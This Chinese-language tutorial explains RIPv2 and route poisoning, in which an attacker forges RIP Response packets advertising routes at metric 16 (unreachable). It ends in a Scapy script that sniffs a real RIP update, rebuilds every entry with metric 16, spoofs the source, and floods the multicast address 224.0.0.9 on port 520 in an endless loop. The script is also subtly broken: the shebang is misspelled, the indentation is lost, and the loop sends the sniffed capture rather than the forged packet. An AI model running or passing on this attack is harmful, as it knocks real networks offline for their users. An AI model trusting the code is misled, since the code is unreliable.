RIP
RIP是Routing Information Protocol(路由信息協議)的簡稱,它是一種較爲簡單的內部網關協議(Interior Gateway Protocol)。RIP是一種基於距離矢量(Distance-Vector)算法的協議,它使用跳數(Hop Count)作爲度量來衡量到達目的網絡的距離。RIP通過UDP報文進行路由信息的交換,使用的端口號爲520。
RIPv2報文部分字段
- command
- 1:Request報文,向鄰居請求全部或部分路由信息;
- 2:Reponse報文,發送自己全部或部分路由信息,一個Response報文中最多包含25個路由表項。
- next Hop 下一跳地址
- metric 路由的開銷值
RIP毒化:
原理
RIP是一種基於距離矢量(Distance-Vector)算法的協議,它使用跳數(Hop Count)作爲度量值來衡量到達目的地址的距離。度量值等於從本網絡到達目的網絡間的設備數量。大於或等於16的跳數被定義爲無窮大,即目的網絡或主機不可達。
RIP消息通過組播地址224.0.0.9和UDP協議的520端口進行廣播;RIP每30秒向鄰居路由器發送一次廣播,廣播整個路由。攻擊者則僞造成附近路由,再把開銷設爲16,達成路由毒化
數據包分析
下載rip的包
IP:
-
src:
路由器ip
-
dst:
224.0.0.9
rip多播地址
UDP:
-
sport:
520
-
dport:
520
RIP:
- command:
2
Response - Metric:
1
開銷
編寫腳本
查看scapy模塊中RIP協議字段
>>> ls(RIP)
cmd : ByteEnumField = (1)
version : ByteField = (1)
null : ShortField = (0)
>>> ls(RIPEntry)
AF : ShortEnumField = (2)
RouteTag : ShortField = (0)
addr : IPField = ('0.0.0.0')
mask : IPField = ('0.0.0.0')
nextHop : IPField = ('0.0.0.0')
metric : IntEnumField = (1)
腳本
#!/usr/bin/env pyhton3
# -*- coding:utf-8 -*-
from scapy.all import RIP,Ether,IP,UDP,RIP,RIPEntry,sniff,send
packet = sniff(stop_filter=lambda x:x.haslayer(RIP))
mac_dst= packet[-1][Ether].dst
mac_src= packet[-1][Ether].src
ip = packet[-1][RIPEntry].addr
entry = packet[-1][RIPEntry]
ripentry = RIPEntry(addr=ip,metric=16)
#判斷是否有多個路由信息
if entry.getlayer(RIPEntry,2):
while entry:
#獲取下一個路由信息
entry = entry.getlayer(RIPEntry, 2)
ip = entry.addr
ripentry = ripentry / RIPEntry(addr=ip, metric=16)
rip = (Ether(dst=mac_dst,src=mac_src)
/IP(dst="224.0.0.9",src=ip)
/UDP(dport=520,sport=520)/RIP(cmd=2,version=2)/ripentry)
while True:
packet.show()
send(packet,verbose=0)